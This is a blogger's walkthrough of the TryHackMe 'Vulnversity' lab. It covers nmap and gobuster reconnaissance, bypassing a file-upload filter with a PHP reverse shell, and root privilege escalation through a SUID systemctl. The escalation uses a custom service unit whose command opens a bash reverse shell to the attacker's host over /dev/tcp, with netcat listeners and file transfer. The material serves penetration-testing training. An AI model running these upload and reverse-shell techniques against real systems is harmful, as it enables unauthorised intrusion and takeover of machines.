BlackWolf's TryHackMe Writeup [Vulnversity]
Offensive Security
TryHackMe's Vulnversity
"No matter where you are, the skills and requirements for a penetration tester will be the same. You’ll be required to have a good understanding of various aspects within information security including web applications, networks and sometimes even low-level technology like assembly. A good understanding of these technologies is essential to learning how to exploit them.
The aim of this path is to make you ready for real-world penetration testing by teaching you how to use industry-standard tools along with a methodology to find vulnerabilities in machines. By the time you complete this path, you will be well prepared for interviews and jobs as a penetration tester. To complete this path you should have a basic to a medium understanding of computing.
You can use this pathway to help you acquire the skills needed to go and get certified by well-known certifiers in the security industry."
What is TryHackMe and why should I look into it?
Well if the name doesn't give it away, TryHackMe is a small little organisation that has created a series of courses for those of which want to get into penetration testing. It provides the means to learn and guides those who don't quite know where to get started and shows them how to use existing tools.
A series of opensource boxes, which are vulnerable machines that have services running versions that are vulnerable to certain attacks. Have been supplied, the goal of these machines are to find these vulnerabilities and execute the correct vulnerability and escalate privileges to "crack the box". This is to simulate real-world machines that may have services running on potentially vulnerable versions.
TryHackMe is an academy for all those who seek to get into cybersecurity, once you sign up for their course, which they offer for $10 USD ($14~ AUD for myself). Once you pay for this surprisingly cheap subscription you're presented with a choice.
Select a pathway and structure your learning
- Active Reconnaissance
- Vulnerability Scanning
- Privilege Escalation
- Web Application Attack
The Tasks
You can choose either to use TryHackMe's virtual machine or you can boot up your own machine, preferably running Kali Linux. Connecting to the machine using OpenVPN. To find your .ovpn file visit https://tryhackme.com/access
- Download your OpenVPN configuration pack.
- Run the following command in your terminal:
sudo apt install openvpn - Locate the full path to your VPN configuration file (normally in your ~/Downloads folder).
- Use your OpenVPN file with the following command:
sudo openvpn /path/to/file.ovpn

And now we begin the reconnaissance stage. I'll be supplying screenshots from the web integrated virtual machine whilst simultaneously carrying this out on my laptop running Kali.First, we'll be using a tool called Nmap, which stands for a network mapper. nmap is a commonly utilised tool
nmap -sV 10.10.125.102
Running the above command will give us this response (shown on left)Here we can see the ports 21, 22, 139, 445, 3128 and 3333 are open. Fingerprinting these we can see the services running on these ports.
1. Scan the box, how many ports are open?
With the ports: - 21
- 22
- 139
- 445
- 3128
- 3333
2. What version of squid proxy is running on the machine?
looking closer at the supplied screenshot we can see on port 3128, a service called Squid HTTP Proxy, which through the mystical powers of deduction we can tell that the service version it's running on is
3. How many ports are scanned with the flag -p-400?
The -p- flag specifies a port range, in this case, 400 is parsed as the parameter, running it all ports on 400 and under will be displayed, which would be 21, 22 and 139. So, nmap will scan 400 ports to see if they're open.4. Using the nmap flag -n what will it not resolve?
This was a bit of an interesting one I scoured through the entirety of the nmaps 'man' page [man is short for manual] and could not find the -n flag and see what it does, went for the hint which was [IP to hostname] which immediately my mind goes to "oh, DNS"5. What is the likely operating system on this machine?
If we refer back to the supplied photo we can see that that Service Info provides us with Linux, looking at port 3333 running Apache HTTPD we can see that the operating system it is running on is ubuntu6. What port is the web-server running on?
Casting our scornful gaze once more to the screenshot of the terminal we can see that the service Apache HTTPd which is a webserver, is running on port 3333gobuster dir -u http://10.10.37.228:3333 -w /usr/share/wordlists/dirbuster

1. What is the directory that has an upload form page?
We already know the answer to this as we browsed to the /internal URL and so the upload page so it'll be /internal.

We're going to use Intruder (used for automating customised attacks). To begin, make a wordlist with the following extensions in:
Now make sure BurpSuite is configured to intercept all your browser traffic. Upload a file, once this request is captured, send it to the Intruder. Click on "Payloads" and select the "Sniper" attack type.
Click the "Positions" tab now, find the filename and "Add §" to the extension. It should look like so:
1. Run this attack, what extension is allowed?
Annoyingly enough when executing the attack all of the payload types return a 200 status but after trial and errorNow that we know what extension we can use for our payload, we can progress.
We are going to use a PHP reverse shell as our payload. A reverse shell works by being called on the remote host and forcing this host to make a connection to you. So you'll listen for incoming connections, upload and have your shell executed which will beacon out to you to control!
A GitHub repository written by pentestmonkey provides us with the necessary php script
Download the following reverse PHP shell here.
- Edit the php-reverse-shell.php file and edit the ip to be your tun0 ip (you can get this by going to http://10.10.10.10 in the browser of your TryHackMe connected device).

- Rename this file to php-reverse-shell.phtml, as if we left it as .PHP we wouldn't be able to upload
- We're now going to listen to incoming connections using netcat. Run the following command: nc -lvnp 1234
- Upload your shell and navigate to http://<ip>:3333/internal/uploads/php-reverse-shell.phtml - This will execute your payload
- You should see a connection on your netcat session

Here we're using Netcat to create a shell, ignore the incorrect port, we used port 1234 on the shell so we have to use the same port on netcat if we want to create a listener for that. Netcat is an extremely powerful tool which is frequently utilised, highly recommend looking further into it if you've got the time.
And voila! we have a shell!
Now let's see who we are by running whoami, which shows we're www-data. Not quite useful, let's see who's on the machine by running awk -F: '{print $1}' /etc/passwd, by running this command we can just see the list of users and not and an entire block of information
Looking at all the names on the right we see a few of interest but to cut to the chase the one we're really wanting to look at is Bill. So cd'ing into /home/bill and looking at the contents of his home directory we find the user.txt flag!
1. Which user who manages the webserver?
We'll after looking through all the interesting users we were able to figure out that the user who manages the webserver was in fact bill the sly bugger.2. What is the user flag?
Printing out the user.txt by running cat user.txt whilst in the /home/bill directory we know the flag
For example, the binary file to change your password has the SUID bit set on it (/usr/bin/passwd). This is because to change your password, it will need to write to the shadower's file that you do not have access to, root does, so it has root privileges to make the right changes.
Now, moving on the first question was intriguing, I scoured the entirety of /usr/bin and /usr/ and couldn't find anything of particular interest, and so failing that I went for the hint. Which was: find / -user root -perm -4000 -exec ls -ldb {} \; going ahead and executing this we're thrown a huge terminal response.And immediately my eyes go straight to /bin/systemctl which seems to be of interest.
1. Search for all SUID files. What file stands out?
Having just executed the above command where we find the user root with the permission 4000 we scavenge through the large response (a lot more not shown) and then we found -rwsr-xr-x 1 root root 659856 /bin/systemctlalright so on our attackbox we've created a file called root.service and this is what it should pertain:
Description=On our merry way to obtain root!
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.25.93/9999 0>&1'
[Install]
WantedBy=multi-user.target
Cool, so now we can see every folder within the root directory and we can see all perms, now to find one where everyone has read, write and execute permissions.
Easy, now let us test to see if we have the appropriate permissions by creating a folder. I named mine something tediously long for fun but go ahead and name it anything you please
On the box we'll run this command:
nc -l -p 2222 > root.service Once you've gone ahead and run the above on the target machine, switch to a new terminal on your attack box and run:
nc -w 3 10.10.195.197 2222 < root.service And once we execute that the netcat listener and sender will both drop and if we ls check again it'll be there!
Before we can execute our root.service file, we need to place it onto the target file system if it’s not there already. Once that is done, we just need to use systemctl to start our custom service. To do this, we first need to set up our listener. So let's go back to our attackbox and start a Netcat listener on port 9999
nc -lvp 9999
If you see this message then you've done all the above steps correctly, if not something somewhere went wrong. Now that we've created a symbolic link lets start systemctl and get a root shell. Do this by typing/bin/systemctl start root Now after all this we should have a root shell back on our other attackbox terminal where we were running the netcat listener for the root.service bash script that we grabbed. If all was followed you should see the terminal saying you're root and then you just need to cd into the root directory and the root.txt flag will be sitting there waiting to be grabbed.
Good luck to you on your own penetration testing journey, don't be thrown off by this if it looks difficult. Go back through the tools, look at how they work. If you feel as if you're lacking the fundamentals I highly recommend at least having a strong grasp on networking as 80% of what we just did here revolves around networking, reverse_tcp connections. Using netcat to tunnel between two machines and transferring files, opening up ports and so forth.
- nmap
- GoBuster
- burpsuite
- netcat
- Blackwolf

















Comments
Post a Comment